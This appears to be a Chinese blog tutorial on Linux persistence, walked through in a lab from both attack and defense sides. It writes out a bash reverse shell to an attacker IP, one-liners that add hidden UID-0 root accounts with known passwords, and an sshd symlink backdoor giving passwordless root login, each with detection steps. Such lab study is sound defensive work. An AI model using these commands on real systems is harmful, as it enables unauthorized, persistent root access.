Linux权限维持入门学习(上)

本文涉及的产品
运维安全中心(堡垒机),免费版 6个月
简介: Linux权限维持入门学习

目的


本文主要是学习linux下的权限维持的方法,本文因为写的时间很久了,文章有点乱。

本文仅对linux的权限维持做了非常微小的学习,文中会从攻和防的角度,在借助学习其它文章的前提下进行学习。

文章所有的操作都是网上已有的技术,仅供参考,如有错误,欢迎指正。


1. 环境准备


靶机ipcentos10.50.0.16

运维管理机:centos  10.50.0.152

攻击机ipmac10.30.3.49

首先使用运维机器对靶机进行管理:

此时w命令显示当前存在一个用户,显示sship为运维机器ip,一切正常,将用户切换到root,再看下连接信息:

此时运维机器和靶机进行正常的通讯。此时端口扫描看下:

靶机开放了22端口。

1.1 反弹shell

再使用bash命令反弹靶机到攻击机上,在攻击机上进行操作,然后在测试机器上进行检查,是否存在相应的痕迹:

bash -c 'exec bash -i &>/dev/tcp/10.30.3.49/888 <&1'

弹了shell之后,再将原来弹会话的机器的ssh断开,防止其干扰:

此时检测该机器是否有通讯:

netstat -ano

这边可以清晰的看到存在一个异常的ip通讯。


2. 权限维持方法


2.1 添加用户


这个操作先在反弹bash的攻击机上进行:先看下当前已有的历史命令,这是反弹回来的操作命令:

也可以使用这个指令看下:

再看下当前的passwdshadow文件:


2.1.1 方法1


一句话添加root用户:

# 创建一个用户名为guest,密码为123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/guest

添加之后,从里面可看到当前多了一个guest的用户:

在这里看到shadow里面多了一个密码:

在这里一看就是被入侵了,此时运维可以直接删除。


2.1.2 方法2


ssh新建用户:
echo "system:adk6oNRwypFwA:0:0:eval_to_root:/root:/bin/bash" >> /etc/passwd
账号:system 密码:admin123

更多生成密码的方法:

https://blog.csdn.net/qq_44159028/article/details/124242529

查询发现,当前在passwd中多了一个用户,但是在shadow里面是检测不到的,此时也会被发现:

此时在管理端是可以发现,新建了一个用户的文件夹,所以两种方法创建的用户都是非常容易被发现的:

2.2 建立sshd 软连接(容易被发现)

原理性的东西都来自:

https://zhuanlan.kanxue.com/article-16246.htm

2.2.1 利用条件

Linux软连接ssh后门需要ssh配置允许PAM认证才能使用。ssh配置中开启了PAM进行身份验证,查看是否使用PAM进行身份验证:

cat /etc/ssh/sshd_config | grep UsePAM

2.2.2 利用原理

pam_rootok.so 模块
pam_rootok.so 主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码。

cat etc/pam.d/su

1.PAM认证机制,若sshd服务中开启了PAM认证机制(默认开启),当程序执行时,PAM模块则会搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/。若关闭则会验证密码,无法建立软链接后门。
2.当我们通过特定的端口连接ssh后,应用在启动过程中就会去找到配置文件,如:我们的软链接文件为/tmp/su,那么应用就会找/etc/pam.d/su作为配置文件,那么则实现了无密登录。

2.2.3 使用方法

此时可以在靶机上建立一个软链接:

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=6666;

软连接的路径不是绝对的,但是名称是绝对的,使用命令:

find /etc/pam.d|xargs grep "pam_rootok"

在反弹shell的机器上输入以上命令:

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=6666;

此时使用端口扫描工具看下:

6666端口是开启的,那如何连接呢?

ssh root@10.50.0.16 -p 6666

此时只需要输入任意用户名就可以直接连接,但是通过w选项可以看到当前是有一个root用户登录的:

2.2.4 应急方法

参考:

https://blog.csdn.net/weixin_40412037/article/details/117447832

第一步:查看服务器开放的端口号

netstat -anpt

当然,这个图里面问题很多,我们在这里只讨论软连接的情况。

发现开启有6666的异常端口,且名字为suroot@pts/,且su的PID 为17650

查看PID17650所使用的程序为ssh

ll /proc/17650

相关文章
|
4天前
|
存储 安全 Linux
|
5天前
|
Linux 数据安全/隐私保护
linux特殊权限!!
本文介绍了Linux系统中的特殊权限,包括suid、sgid和sbit。suid使普通用户在执行特定命令时获得root权限;sgid使用户在创建文件时继承目录的用户组权限;sbit确保用户只能删除自己在共享目录中创建的文件。此外,文章还讲解了chattr和lsattr命令,用于更改和查看文件的扩展属性,以及umask的概念和计算方法,帮助理解文件和目录的默认权限。
21 1
linux特殊权限!!
|
7天前
|
Linux Shell 数据安全/隐私保护
|
5天前
|
Unix Linux Shell
linux入门!
本文档介绍了Linux系统入门的基础知识,包括操作系统概述、CentOS系统的安装与远程连接、文件操作、目录结构、用户和用户组管理、权限管理、Shell基础、输入输出、压缩打包、文件传输、软件安装、文件查找、进程管理、定时任务和服务管理等内容。重点讲解了常见的命令和操作技巧,帮助初学者快速掌握Linux系统的基本使用方法。
31 3
|
25天前
|
Linux 编译器 C语言
【Linux快速入门(一)】Linux与ROS学习之编译基础(gcc编译)
【Linux快速入门(一)】Linux与ROS学习之编译基础(gcc编译)
|
1月前
|
机器学习/深度学习 Linux 编译器
Linux入门3——vim的简单使用
Linux入门3——vim的简单使用
55 1
|
24天前
|
Linux 开发工具
【Linux快速入门(二)】Linux与ROS学习之编译基础(make编译)
【Linux快速入门(二)】Linux与ROS学习之编译基础(make编译)
|
30天前
|
存储 数据可视化 Linux
Linux 基础入门
Linux 基础入门
|
1月前
|
Linux 应用服务中间件 nginx
Linux下权限设置之suid、sgid、sticky
Linux下权限设置之suid、sgid、sticky
|
1月前
|
Linux 数据安全/隐私保护 Windows
Linux_权限理解(详细PLUS
Linux_权限理解(详细PLUS